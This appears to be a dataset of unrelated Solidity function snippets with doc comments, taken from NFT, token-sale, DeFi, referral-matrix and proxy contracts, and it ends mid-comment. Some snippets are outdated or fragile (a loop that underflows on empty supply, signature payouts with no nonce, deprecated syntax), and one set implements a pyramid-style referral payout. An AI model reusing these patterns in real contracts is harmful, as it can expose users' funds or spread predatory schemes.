/**
 * @notice Reserves to various addresses
 * @dev Can be locked
 * @param amount of tokens to be reserved
 * @param to address to receive reserved tokens
 */

function reserve(uint256 amount, address to) public lockable onlyOwner {
        require(reserved + amount <= MAX_RESERVED,  "Exceeds maximum number of reserved tokens");
        require(totalSupply + amount <= MAX_SUPPLY, "Insufficient supply");

        for (uint256 i = 0; i < amount; i++) {
            _safeMint(to, totalSupply);
            totalSupply += 1;
        }

        reserved += amount;
    }


/**
 * @notice Mint a Fren using a signature
 * @param amount of Fren to mint
 * @param signature created by signer account
 */

function mint(uint256 amount, bytes memory signature) public payable nonReentrant {
        require(signer == ECDSA.recover(
            ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(_msgSender()))),
            signature
        ), "Invalid signature");

        require(totalSupply + amount <= MAX_SUPPLY,             "Insufficient supply");
        require(msg.value == MINT_PRICE * amount,               "Invalid Ether amount sent");
        require(minted[_msgSender()] + amount <= maxPerAddress, "Insufficient mints available");

        for (uint256 i = 0; i < amount; i++) {
            _safeMint(_msgSender(), totalSupply);
            totalSupply += 1;
        }

        minted[_msgSender()] += amount;
    }


/// @notice Creates a withdrawal request that will be finalized after delay time
/// @param _receiver address that will receive the token
/// @param _amount amount of tokens for the request

function requestWithdrawal(
        address _receiver,
        uint256 _amount
    )
        public
        onlyOwner()
        returns (bool)
    {
        require(_amount > 0, "withdrawal amount has to be bigger than 0");

        uint256 newAmount = withdrawal.amount.add(_amount);

        require(
            newAmount <= ctsi.balanceOf(address(this)),
            "Not enough tokens in the contract for this Withdrawal request"
        );
        withdrawal.receiver = _receiver;
        withdrawal.amount = newAmount;
        withdrawal.timestamp = block.timestamp;

        emit WithdrawRequested(_receiver, newAmount, block.timestamp);

        return true;
    }


/// @notice Finalizes withdraw and transfer the tokens to receiver

function finalizeWithdraw() public onlyOwner returns (bool) {
        uint256 amount = withdrawal.amount;
        require(
            withdrawal.timestamp.add(delay) <= block.timestamp,
            "Withdrawal is not old enough to be finalized"
        );
        require(amount > 0, "There are no active withdrawal requests");

        withdrawal.amount = 0;
        ctsi.transfer(withdrawal.receiver, amount);

        emit WithdrawFinalized(withdrawal.receiver, amount);
        return true;
    }


/// @dev set Wild card token.

function makeWildCardToken(uint256 tokenId) public payable {

        require(msg.value == killerPriceConversionFee);
		//Start New Code--for making wild card for each category
		uint256 index = cardTokenToPosition[tokenId];
	    //Card storage card = cards[index];
	    string storage cardCategory=cards[index].category;
	    uint256 totalCards = totalSupply();
        uint256 i=0;
          for (i = 0; i  <= totalCards-1; i++) {
            //check for the same category
            //StringUtils
            if (keccak256(cards[i].category)==keccak256(cardCategory)){
               cards[i].Iswildcard=0;
            }
          }
		cards[index].Iswildcard=1;
		//End New Code--

		//msg.sender.transfer(killerPriceConversionFee);
		//address(this).transfer(killerPriceConversionFee);
		//emit NewWildToken(wildcardTokenId);
	}


//get the selling price of card based on slab.

function nextPriceOf(uint256 _tokenId) public view returns (uint256 price){
    uint256 sellingPrice=cardTokenToPrice[_tokenId];
     // Update prices
    if (sellingPrice < firstStepLimit) {
      // first stage
      sellingPrice = Helper.div(Helper.mul(sellingPrice, 300), 93);
    } else if (sellingPrice < secondStepLimit) {
      // second stage
      sellingPrice= Helper.div(Helper.mul(sellingPrice, 200), 93);
    } else if (sellingPrice < thirdStepLimit) {
      // second stage
      sellingPrice = Helper.div(Helper.mul(sellingPrice, 120), 93);
    } else {
      // third stage
      sellingPrice = Helper.div(Helper.mul(sellingPrice, 115), 93);
    }
    return sellingPrice;
}


/// @notice Updates a 256 bit word with a 32 bit representation of a block number at a particular index
/// @param _existingUpkeepBlockNumbers The 256 word
/// @param _podIndex The index within that word (0 to 7)
/// @param _value The block number value to be inserted

function _updateLastBlockNumberForPodIndex(uint256 _existingUpkeepBlockNumbers, uint8 _podIndex, uint32 _value) internal pure returns (uint256) {

        uint256 mask =  (type(uint32).max | uint256(0)) << (_podIndex * 32); // get a mask of all 1's at the pod index
        uint256 updateBits =  (uint256(0) | _value) << (_podIndex * 32); // position value at index with 0's in every other position

        /*
        (updateBits | ~mask)
            negation of the mask is 0's at the location of the block number, 1's everywhere else
            OR'ing it with updateBits will give 1's everywhere else, block number intact

        (_existingUpkeepBlockNumbers | mask)
            OR'ing the exstingUpkeepBlockNumbers with mask will give maintain other blocknumber, put all 1's at podIndex

            finally AND'ing the two halves will filter through 1's if they are supposed to be there
        */
        return (updateBits | ~mask) & (_existingUpkeepBlockNumbers | mask);
    }


/// @notice Checks if Pods require upkeep. Call in a static manner every block by the Chainlink Upkeep network.
/// @param checkData Not used in this implementation.
/// @return upkeepNeeded as true if performUpkeep() needs to be called, false otherwise. performData returned empty.

function checkUpkeep(bytes calldata checkData) override external view returns (bool upkeepNeeded, bytes memory performData) {

        if(paused()) return (false, performData);

        address[] memory pods = podsRegistry.getAddresses();
        uint256 _upkeepBlockInterval = upkeepBlockInterval;
        uint256 podsLength = pods.length;

        for(uint256 podWord = 0; podWord <= podsLength / 8; podWord++){

            uint256 _lastUpkeep = lastUpkeepBlockNumber[podWord]; // this performs the SLOAD
            for(uint256 i = 0; i + (podWord * 8) < podsLength; i++){

                uint32 podLastUpkeepBlockNumber = _readLastBlockNumberForPodIndex(_lastUpkeep, uint8(i));
                if(block.number > podLastUpkeepBlockNumber + _upkeepBlockInterval){
                    return (true, "");
                }
            }
        }
        return (false, "");
    }


/// @notice Performs upkeep on the pods contract and updates lastUpkeepBlockNumbers
/// @param performData Not used in this implementation.

function performUpkeep(bytes calldata performData) override external whenNotPaused{

        address[] memory pods = podsRegistry.getAddresses();
        uint256 podsLength = pods.length;
        uint256 _batchLimit = upkeepBatchLimit;
        uint256 batchesPerformed = 0;

        for(uint8 podWord = 0; podWord <= podsLength / 8; podWord++){ // give word index

            uint256 _updateBlockNumber = lastUpkeepBlockNumber[podWord]; // this performs the SLOAD

            for(uint8 i = 0; i + (podWord * 8) < podsLength; i++){ // pod index within word

                if(batchesPerformed >= _batchLimit) {
                    break;
                }
                // get the 32 bit block number from the 256 bit word
                uint32 podLastUpkeepBlockNumber = _readLastBlockNumberForPodIndex(_updateBlockNumber, i);
                if(block.number > podLastUpkeepBlockNumber + upkeepBlockInterval) {
                    IPod(pods[i + (podWord * 8)]).drop();
                    batchesPerformed++;
                    // updated pod's most recent upkeep block number and store update to that 256 bit word
                    _updateBlockNumber = _updateLastBlockNumberForPodIndex(_updateBlockNumber, i, uint32(block.number));
                }
            }
            lastUpkeepBlockNumber[podWord] = _updateBlockNumber; // update the entire 256 bit word at once
        }
    }


// INTERNAL ACTIONS

function _claimAndSellRewards() internal returns (uint256) {
        uint256 stkAaveBalance = balanceOfStkAave();
        CooldownStatus cooldownStatus;
        if (stkAaveBalance > 0) {
            cooldownStatus = _checkCooldown(); // don't check status if we have no stkAave
        }

        // If it's the claim period claim
        if (stkAaveBalance > 0 && cooldownStatus == CooldownStatus.Claim) {
            // redeem AAVE from stkAave
            stkAave.claimRewards(address(this), type(uint256).max);
            stkAave.redeem(address(this), stkAaveBalance);
        }

        // claim stkAave from lending and borrowing, this will reset the cooldown
        incentivesController.claimRewards(
            getAaveAssets(),
            type(uint256).max,
            address(this)
        );

        stkAaveBalance = balanceOfStkAave();

        // request start of cooldown period, if there's no cooldown in progress
        if (
            cooldownStkAave &&
            stkAaveBalance > 0 &&
            cooldownStatus == CooldownStatus.None
        ) {
            stkAave.cooldown();
        }

        // Always keep 1 wei to get around cooldown clear
        if (sellStkAave && stkAaveBalance >= minRewardToSell.add(1)) {
            uint256 minAAVEOut =
                stkAaveBalance.mul(MAX_BPS.sub(maxStkAavePriceImpactBps)).div(
                    MAX_BPS
                );
            _sellSTKAAVEToAAVE(stkAaveBalance.sub(1), minAAVEOut);
        }

        // sell AAVE for want
        uint256 aaveBalance = balanceOfAave();
        if (aaveBalance >= minRewardToSell) {
            _sellAAVEForWant(aaveBalance, 0);
        }
    }


// Flashloan callback function

function callFunction(
        address sender,
        Account.Info memory account,
        bytes memory data
    ) public override {
        (bool deficit, uint256 amount) = abi.decode(data, (bool, uint256));
        require(msg.sender == FlashLoanLib.SOLO);
        require(sender == address(this));

        FlashLoanLib.loanLogic(deficit, amount, address(want));
    }


// conversions

function tokenToWant(address token, uint256 amount)
        internal
        view
        returns (uint256)
    {
        if (amount == 0 || address(want) == token) {
            return amount;
        }

        // KISS: just use a v2 router for quotes which aren't used in critical logic
        IUni router =
            swapRouter == SwapRouter.SushiV2 ? SUSHI_V2_ROUTER : UNI_V2_ROUTER;
        uint256[] memory amounts =
            router.getAmountsOut(
                amount,
                getTokenOutPathV2(token, address(want))
            );

        return amounts[amounts.length - 1];
    }


//Only Owner Mint Function

function privatemint(uint256 _mintAmount) public onlyOwner {
    uint256 supply = totalSupply();
    require(!paused, "the contract is paused");
    require(_mintAmount > 0, "need to mint at least 1 NFT");
    require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
    require(privateAmountMinted + _mintAmount <= Santas_Private, "Mint amount more than private reserves");
    for (uint8 i = 1; i <= _mintAmount; i++) {
        privateAmountMinted++;
        _safeMint(msg.sender, supply + i);
    }
  }


//Only Owner Gift Function

function privategift(address _to, uint256 _mintAmount) public onlyOwner {
    uint256 supply = totalSupply();
    require(!paused, "the contract is paused");
    require(_mintAmount > 0, "need to mint at least 1 NFT");
    require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
    require(privateAmountMinted + _mintAmount <= Santas_Private, "Mint amount more than private reserves");
    for (uint8 i = 1; i <= _mintAmount; i++) {
        privateAmountMinted++;
        _safeMint(_to, supply + i);
    }
  }


/**
 * ERC 20 Standard Token interface transfer function
 */

function transfer(address _to, uint256 _value) public returns (bool success) {
        //Default assumes totalSupply can't be over max (2^256 - 1).
        //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
        //Replace the if with this one instead.
        if (balances[msg.sender] >= _value && balances[_to].add(_value) > balances[_to]) {
            balances[msg.sender] = balances[msg.sender].sub(_value);
            balances[_to] = balances[_to].add(_value);
            emit Transfer(msg.sender, _to, _value);
            return true;
        } else {
            return false;
        }
    }


//function createANewCert(address _publicKey, uint256 _amount) external payable onlyCEO{

function depositCertificateSale(address _publicKey, uint256 _amount) external payable onlyCEO{
        require(msg.sender != address(0));
        require(_amount > 0);
        require(msg.value == _amount);
        require(_publicKey != address(0));
        require(totalSupplyOfKeys < KEY_CREATION_LIMIT);
        require(totalReclaimedKeys < KEY_CREATION_LIMIT);

        require(!allThePublicKeys[_publicKey]);

        allThePublicKeys[_publicKey]=true;
        totalSupplyOfKeys ++;

        balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);

        emit DepositCertificateSaleEvent(msg.sender, _publicKey, _amount);
    }


/**
 * Payout a certificate.
 *
 */

function payoutACert(bytes32 _msgHash, uint8 _v, bytes32 _r, bytes32 _s) external nonReentrant{
        require(msg.sender != address(0));
        require(address(this).balance > 0);
        require(totalSupplyOfKeys > 0);
        require(totalReclaimedKeys < KEY_CREATION_LIMIT);

        address _recoveredAddress = ecrecover(_msgHash, _v, _r, _s);
        require(allThePublicKeys[_recoveredAddress]);

        allThePublicKeys[_recoveredAddress]=false;

        uint256 _validKeys = totalSupplyOfKeys.sub(totalReclaimedKeys);
        uint256 _payoutValue = address(this).balance.div(_validKeys);

        msg.sender.transfer(_payoutValue);
        emit CertPayedOutEvent(msg.sender, _recoveredAddress, _payoutValue);

        totalReclaimedKeys ++;
    }


//
// debug only. remove in Live deploy.
// do this operation on the Dapp side.

function calculatePayout() view external returns(
        uint256 _etherValue
        ){
        uint256 _validKeys = totalSupplyOfKeys.sub(totalReclaimedKeys);
        // Last key has been paid out.
        if(_validKeys == 0){
            _etherValue = 0;
        }else{
            _etherValue = address(this).balance.div(_validKeys);
        }
    }


// implementation of low level token purchase function

function buyTokens(address beneficiary, uint256 weiAmount) internal {
		require(beneficiary != 0x0);
		require(validPurchase(weiAmount));

		// calculate token amount to be sent
		uint256 tokens = calcBonus(weiAmount.mul(rate));

		if(remain.sub(tokens) <= 0){
			reached = true;

			uint256 real = remain;

			remain = 0;

			uint256 refund = weiAmount - real.mul(100).div(110).div(rate);

			beneficiary.transfer(refund);

			transferToken(beneficiary, real);

			forwardFunds(weiAmount.sub(refund));

			emit BuyTokens(beneficiary, weiAmount.sub(refund), real, now);
		} else{

			remain = remain.sub(tokens);

			transferToken(beneficiary, tokens);

			forwardFunds(weiAmount);

			emit BuyTokens(beneficiary, weiAmount, tokens, now);
		}

	}


/**
 * Restores the signer of the signed message and checks if it was signed by the trusted signer and also
 * contains the parameters.
 */

function _verifySignature(
        address wallet,
        uint256 maxAmount,
        uint256 timestamp,
        bytes memory signature
    ) private view returns (bool) {
        bytes32 sigR;
        bytes32 sigS;
        uint8 sigV;
        (sigV, sigR, sigS) = _splitSignature(signature);
        bytes32 message = keccak256(abi.encodePacked(wallet, maxAmount, timestamp));
        return presaleSigner == ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)), sigV, sigR, sigS);
    }


// ------------------
// Owner functions
// ------------------

function initialize(
        address _old_contract_address,
        uint256 _maxOmm
    )  external onlyOwner {
        if(address(_omm_contract) != address(0)) revert ContractAlreadyInitialized();
        if(_old_contract_address == address(0)) revert EmptyAddress();
        if(_maxOmm == 0) revert MaxOmmIsZero();
        _omm_contract = OldMasterMemes(_old_contract_address);
        bool originalContractSaleIsActive = _omm_contract.saleIsActive();
        if(originalContractSaleIsActive) revert SaleOfOriginalContractActive();
        maxOmm = _maxOmm;
        saleIsActive = false;
        communitySaleIsActive = false;
    }


// ------------------------------------------------------------------------
// Buy one coin
// ------------------------------------------------------------------------

function buyOne() public payable returns (bool success) {
        uint price = getPrice();
        uint fee = price / 10;
        require(msg.value == (price + fee), 'Wrong amount');
        balances[address(this)] = safeSub(balances[address(this)], 1);
        balances[msg.sender] = safeAdd(balances[msg.sender], 1);
        emit Transfer(address(this), msg.sender, 1);
        address(uint160(owner)).transfer(fee);
        return true;
    }


// ------------------------------------------------------------------------
// Sell one coin
// ------------------------------------------------------------------------

function sellOne() public returns (bool success) {
        uint price = getPrice() - 0.0001 ether;
        uint fee = price / 10;
        balances[msg.sender] = safeSub(balances[msg.sender], 1);
        balances[address(this)] = safeAdd(balances[address(this)], 1);
        emit Transfer(msg.sender, address(this), 1);
        msg.sender.transfer(price - fee);
        address(uint160(owner)).transfer(fee);
        return true;
    }


/**
 * @dev To register the User
 * @param _referrerID id of user/referrer who is already in matrix
 * @param _mrs _mrs[0] - message hash _mrs[1] - r of signature _mrs[2] - s of signature
 * @param _v  v of signature
 */

function regUser(uint _referrerID, bytes32[3] calldata _mrs, uint8 _v) external payable {
        require(lockStatus == false, "Contract Locked");
        require(users[msg.sender].isExist == false, "User exist");
        require(_referrerID > 0 && _referrerID <= currentId, "Incorrect referrer Id");
        require(hashConfirmation[_mrs[0]] == false, "Hash Exits");
        require(msg.value == LEVEL_PRICE[1], "Incorrect Value");

        if(users[userList[_referrerID]].referral.length >= referrer1Limit) _referrerID = users[findFreeReferrer(userList[_referrerID])].id;

        UserStruct memory userStruct;
        currentId++;

        userStruct = UserStruct({
            isExist: true,
            id: currentId,
            referrerID: _referrerID,
            currentLevel: 1,
            totalEarningEth:0,
            referral: new address[](0)
        });

        users[msg.sender] = userStruct;
        userList[currentId] = msg.sender;
        users[msg.sender].levelExpired[1] = now.add(PERIOD_LENGTH);
        users[userList[_referrerID]].referral.push(msg.sender);
        createdDate[msg.sender] = now;
        loopCheck[msg.sender] = 0;

        payForRegister(1, msg.sender, ((LEVEL_PRICE[1].mul(adminFee)).div(10**20)), _mrs, _v);
        hashConfirmation[_mrs[0]] = true;

        emit regLevelEvent(msg.sender, userList[_referrerID], now);
    }


/**
 * @dev To buy the next level by User
 * @param _level level wants to buy
 * @param _mrs _mrs[0] - message hash _mrs[1] - r of signature _mrs[2] - s of signature
 * @param _v  v of signature
 */

function buyLevel(uint256 _level, bytes32[3] calldata _mrs, uint8 _v) external payable {
        require(lockStatus == false, "Contract Locked");
        require(users[msg.sender].isExist, "User not exist");
        require(hashConfirmation[_mrs[0]] == false, "Hash Exits");
        require(_level > 0 && _level <= 9, "Incorrect level");

        if (_level == 1) {
            require(msg.value == LEVEL_PRICE[1], "Incorrect Value");
            users[msg.sender].levelExpired[1] =  users[msg.sender].levelExpired[1].add(PERIOD_LENGTH);
            users[msg.sender].currentLevel = 1;
        }else {
            require(msg.value == LEVEL_PRICE[_level], "Incorrect Value");

            users[msg.sender].currentLevel = _level;

            for (uint i =_level - 1; i > 0; i--) require(users[msg.sender].levelExpired[i] >= now, "Buy the previous level");

            if(users[msg.sender].levelExpired[_level] == 0)
                users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
            else
                users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;
        }

        loopCheck[msg.sender] = 0;

        payForLevels(_level, msg.sender, ((LEVEL_PRICE[_level].mul(adminFee)).div(10**20)), _mrs, _v);

        hashConfirmation[_mrs[0]] = true;

        emit buyLevelEvent(msg.sender, _level, now);
    }


/**
 * @dev Internal function
 */

function payForRegister(uint _level,address _userAddress,uint _adminPrice,bytes32[3] memory _mrs,uint8 _v) internal {

        address referer;

        referer = userList[users[_userAddress].referrerID];

        if (!users[referer].isExist) referer = userList[1];

        if (users[referer].levelExpired[_level] >= now) {
            uint256 tobeminted = ((LEVEL_PRICE[_level]).mul(10**3)).div(0.005 ether);
            require((address(uint160(ownerAddress)).send(_adminPrice)) && address(uint160(referer)).send(LEVEL_PRICE[_level].sub(_adminPrice)) && Token.mint(msg.sender,tobeminted,_mrs,_v), "Transaction Failure");
            users[referer].totalEarningEth = users[referer].totalEarningEth.add(LEVEL_PRICE[_level].sub(_adminPrice));
            EarnedEth[referer][_level] =  EarnedEth[referer][_level].add(LEVEL_PRICE[_level].sub(_adminPrice));
        }else {
            emit lostMoneyForLevelEvent(msg.sender,users[msg.sender].id,referer,users[referer].id, _level, LEVEL_PRICE[_level],now);
            revert("Referer Not Active");
        }

    }


/**
 * @dev View free Referrer Address
 */

function findFreeReferrer(address _userAddress) public view returns (address) {
        if (users[_userAddress].referral.length < referrer1Limit)
            return _userAddress;

        address[] memory referrals = new address[](254);
        referrals[0] = users[_userAddress].referral[0];
        referrals[1] = users[_userAddress].referral[1];

        address freeReferrer;
        bool noFreeReferrer = true;

        for (uint i = 0; i < 254; i++) {
            if (users[referrals[i]].referral.length == referrer1Limit) {
                if (i < 126) {
                    referrals[(i+1)*2] = users[referrals[i]].referral[0];
                    referrals[(i+1)*2+1] = users[referrals[i]].referral[1];
                }
            } else {
                noFreeReferrer = false;
                freeReferrer = referrals[i];
                break;
            }
        }
        require(!noFreeReferrer, "No Free Referrer");
        return freeReferrer;
    }


// Locks vader and mints xVader

function enter(uint _amount) external nonReentrant {
        // Gets the amount of vader locked in the contract
        uint totalVader = vader.balanceOf(address(this));
        // Gets the amount of xVader in existence
        uint totalShares = totalSupply();

        // If no xVader exists, mint it 1:1 to the amount put in.
        // Calculate and mint the amount of xVader the vader is worth.
        // The ratio will change overtime, as xVader is burned/minted and
        // vader deposited + gained from fees / withdrawn.
        uint xVADERToMint = totalShares == 0 || totalVader == 0
            ? _amount
            : (_amount * totalShares) / totalVader;

        _mint(msg.sender, xVADERToMint);

        // Lock the vader in the contract
        vader.transferFrom(msg.sender, address(this), _amount);
    }


/**
 * @dev Converts an unsigned uint256 into a signed int256.
 *
 * Requirements:
 *
 * - input must be less than or equal to maxInt256.
 */

function toInt256(uint256 value) internal pure returns (int256) {
        // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
        require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
        return int256(value);
    }


// Deposit LP tokens to CraneMasterFarmer for Crane allocation.

function deposit(uint256 _pid, uint256 _amount) public {
        require(_amount > 0, "CraneMasterFarmer::deposit: amount must be greater than 0");

        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        updatePool(_pid);
        _harvest(_pid);
        pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
        if (user.amount == 0) {
            user.rewardDebtAtBlock = block.number;
        }
        user.amount = user.amount.add(_amount);
        user.rewardDebt = user.amount.mul(pool.accCranePerShare).div(1e12);
        emit Deposit(msg.sender, _pid, _amount);
    }


// Withdraw LP tokens from CraneMasterFarmer.

function withdraw(uint256 _pid, uint256 _amount) public {
        PoolInfo storage pool = poolInfo[_pid];
        UserInfo storage user = userInfo[_pid][msg.sender];
        require(user.amount >= _amount, "CraneMasterFarmer::withdraw: not good");

        updatePool(_pid);
        _harvest(_pid);

        if(_amount > 0) {
            user.amount = user.amount.sub(_amount);
            pool.lpToken.safeTransfer(address(msg.sender), _amount);
        }
        user.rewardDebt = user.amount.mul(pool.accCranePerShare).div(1e12);
        emit Withdraw(msg.sender, _pid, _amount);
    }


/**
 * @dev Returns price after `_bagsCount` will bought
 *.
 * @param _bagsCount - bags that will  bought.
 */

function _nextPrice(uint256 _bagsCount) internal view returns (uint256) {
        //Because last_price expressed in wei we dont need mul(1e18)
        //but still need div(1e4) - see comment above near A and B declaration
        //uint256 _price = last_price.mul(A**_bagsCount).div(10**(4*_bagsCount));
        return bagPrice;
    }


/// @dev Deploys a Proxy account for the given owner
/// @param owner Owner of the Proxy account
/// @return account Address of the deployed Proxy account
/// @notice This deploys a "minimal proxy" contract with the proxy owner address added to the deployed bytecode. The
/// owner address can be read within a delegatecall by using `extcodecopy`. Minimal proxy bytecode is from
/// https://medium.com/coinmonks/the-more-minimal-proxy-5756ae08ee48 and https://eips.ethereum.org/EIPS/eip-1167. It
/// utilizes the "vanity address optimization" from EIP 1167

function deployAccount(address owner) external returns (address account) {
    bytes memory initCode = abi.encodePacked(
      //  [* constructor **] [** minimal proxy ***] [******* implementation *******] [**** minimal proxy *****]
      hex'603c3d8160093d39f3_3d3d3d3d363d3d37363d6f_afcbce78c080f96032a5c1cb1b832d7b_5af43d3d93803e602657fd5bf3',
      owner
    );
    assembly {
      account := create2(0, add(initCode, 0x20), mload(initCode), 0)
    }
    if(account == address(0)) {
      revert DeployFailed();
    }
  }


/**
 * @dev Returns true if `account` is a contract.
 *`isContract` will return false for the following types of addresses:
 *  - an externally-owned account
 *  - a contract in construction
 *  - an address where a contract will be created
 *  - an address where a contract lived, but was destroyed
 */

function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }


/**
 * @dev Delegates votes from signer to `delegatee`
 */

function delegateBySig(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        require(block.timestamp <= expiry, "ERC20Votes: signature expired");
        address signer = ECDSAUpgradeable.recover(
            _hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
            v,
            r,
            s
        );
        require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
        return _delegate(signer, delegatee);
    }


/**
 * @notice Used to packed the KYC data
 */

function packKYC(uint64 _a, uint64 _b, uint64 _c, uint8 _d) internal pure returns(uint256) {
        // this function packs 3 uint64 and a uint8 together in a uint256 to save storage cost
        // a is rotated left by 136 bits, b is rotated left by 72 bits and c is rotated left by 8 bits.
        // rotation pads empty bits with zeroes so now we can safely do a bitwise OR operation to pack
        // all the variables together.
        return (uint256(_a) << 136) | (uint256(_b) << 72) | (uint256(_c) << 8) | uint256(_d);
    }


/**
 * @notice Used to convert packed data into KYC data
 * @param _packedVersion Packed data
 */

function unpackKYC(uint256 _packedVersion) internal pure returns(uint64 canSendAfter, uint64 canReceiveAfter, uint64 expiryTime, uint8 added) {
        canSendAfter = uint64(_packedVersion >> 136);
        canReceiveAfter = uint64(_packedVersion >> 72);
        expiryTime = uint64(_packedVersion >> 8);
        added = uint8(_packedVersion);
    }


/**
 * @notice Used to initialize the module
 * @param _module Address of module
 * @param _data Data used for the intialization of the module factory variables
 */

function _initializeModule(address _module, bytes memory _data) internal {
        uint256 polySetupCost = _takeFee();
        bytes4 initFunction = IModule(_module).getInitFunction();
        if (initFunction != bytes4(0)) {
            require(Util.getSig(_data) == initFunction, "Provided data is not valid");
            /*solium-disable-next-line security/no-low-level-calls*/
            (bool success, ) = _module.call(_data);
            require(success, "Unsuccessful initialization");
        }
        /*solium-disable-next-line security/no-block-members*/
        emit GenerateModuleFromFactory(_module, name, address(this), msg.sender, setupCost, polySetupCost);
    }


/**
 * @notice Used to upgrade the module factory
 * @param _version Version of upgraded module
 * @param _logicContract Address of deployed module logic contract referenced from proxy
 * @param _upgradeData Data to be passed in call to upgradeToAndCall when a token upgrades its module
 */

function setLogicContract(string calldata _version, address _logicContract, bytes calldata _upgradeData) external onlyOwner {
        require(keccak256(abi.encodePacked(_version)) != keccak256(abi.encodePacked(logicContracts[latestUpgrade].version)), "Same version");
        require(_logicContract != logicContracts[latestUpgrade].logicContract, "Same version");
        require(_logicContract != address(0), "Invalid address");
        latestUpgrade++;
        _modifyLogicContract(latestUpgrade, _version, _logicContract, _upgradeData);
    }


/**
 * @notice Used to update an existing token logic contract
 * @param _upgrade logic contract to upgrade
 * @param _version Version of upgraded module
 * @param _logicContract Address of deployed module logic contract referenced from proxy
 * @param _upgradeData Data to be passed in call to upgradeToAndCall when a token upgrades its module
 */

function updateLogicContract(uint256 _upgrade, string calldata _version, address _logicContract, bytes calldata _upgradeData) external onlyOwner {
        require(_upgrade <= latestUpgrade, "Invalid upgrade");
        // version & contract must differ from previous version, otherwise upgrade proxy will fail
        if (_upgrade > 0) {
          require(keccak256(abi.encodePacked(_version)) != keccak256(abi.encodePacked(logicContracts[_upgrade - 1].version)), "Same version");
          require(_logicContract != logicContracts[_upgrade - 1].logicContract, "Same version");
        }
        require(_logicContract != address(0), "Invalid address");
        require(_upgradeData.length > 4, "Invalid Upgrade");
        _modifyLogicContract(_upgrade, _version, _logicContract, _upgradeData);
    }


/**
 * @notice Used by a security token to upgrade a given module
 * @param _module Address of (proxy) module to be upgraded
 */

function upgrade(address _module) external {
        // Only allow the owner of a module to upgrade it
        require(moduleToSecurityToken[_module] == msg.sender, "Incorrect caller");
        // Only allow issuers to upgrade in single step verisons to preserve upgradeToAndCall semantics
        uint256 newVersion = modules[msg.sender][_module] + 1;
        require(newVersion <= latestUpgrade, "Incorrect version");
        OwnedUpgradeabilityProxy(address(uint160(_module))).upgradeToAndCall(logicContracts[newVersion].version, logicContracts[newVersion].logicContract, logicContracts[newVersion].upgradeData);
        modules[msg.sender][_module] = newVersion;
        emit ModuleUpgraded(
            _module,
            msg.sender,
            newVersion
        );
    }


/// @dev Accepts ether and creates new DDFT tokens.

function createTokens(uint256 _value)  internal {
      if (isFinalized) throw;
      if (now < fundingStartTime) throw;
      if (now > fundingEndTime) throw;
      if (msg.value == 0) throw;

      uint256 tokens = safeMult(_value, tokenExchangeRate); // check that we're not over totals
      uint256 checkedSupply = safeAdd(totalSupply, tokens);

      // DA 8/6/2017 to fairly allocate the last few tokens
      if (tokenCreationCap < checkedSupply) {
        if (tokenCreationCap <= totalSupply) throw;  // CAP reached no more please
        uint256 tokensToAllocate = safeSubtract(tokenCreationCap,totalSupply);
        uint256 tokensToRefund   = safeSubtract(tokens,tokensToAllocate);
        totalSupply = tokenCreationCap;
        balances[msg.sender] += tokensToAllocate;  // safeAdd not needed; bad semantics to use here
        uint256 etherToRefund = tokensToRefund / tokenExchangeRate;
        msg.sender.transfer(etherToRefund);
        CreateDDFT(msg.sender, tokensToAllocate);  // logs token creation
        LogRefund(msg.sender,etherToRefund);
        splitterContract(splitter).update(msg.sender,balances[msg.sender]);
        return;
      }
      // DA 8/6/2017 end of fair allocation code
      totalSupply = checkedSupply;
      balances[msg.sender] += tokens;  // safeAdd not needed; bad semantics to use here
      CreateDDFT(msg.sender, tokens);  // logs token creation
      splitterContract(splitter).update(msg.sender,balances[msg.sender]);
    }


/**
 * @notice Set network fee tier
 * @notice Details for network fee tier can view at deposit() function below
 * @param _networkFeeTier2  Array [tier2 minimun, tier2 maximun], view additional info below
 * Requirements:
 * - Only owner of this contract can call this function
 * - First element in array must greater than 0
 * - Second element must greater than first element
 */

function setNetworkFeeTier2(uint256[] calldata _networkFeeTier2) external onlyOwner {
    require(_networkFeeTier2[0] != 0, "Minimun amount cannot be 0");
    require(_networkFeeTier2[1] > _networkFeeTier2[0], "Maximun amount must greater than minimun amount");
    /**
     * Network fees have three tier, but it is sufficient to have minimun and maximun amount of tier 2
     * Tier 1: deposit amount < minimun amount of tier 2
     * Tier 2: minimun amount of tier 2 <= deposit amount <= maximun amount of tier 2
     * Tier 3: amount > maximun amount of tier 2
     */
    uint256[] memory oldNetworkFeeTier2 = networkFeeTier2;
    networkFeeTier2 = _networkFeeTier2;
    emit SetNetworkFeeTier2(oldNetworkFeeTier2, _networkFeeTier2);
  }


/**
 * @notice Set network fee in percentage
 * @param _networkFeePercentage An array of integer, view additional info below
 * Requirements:
 * - Only owner of this contract can call this function
 * - Each of the element in the array must less than 4000 (40%)
 */

function setNetworkFeePercentage(uint256[] calldata _networkFeePercentage) external onlyOwner {
    /**
     * _networkFeePercentage content a array of 3 element, representing network fee of tier 1, tier 2 and tier 3
     * For example networkFeePercentage is [100, 75, 50]
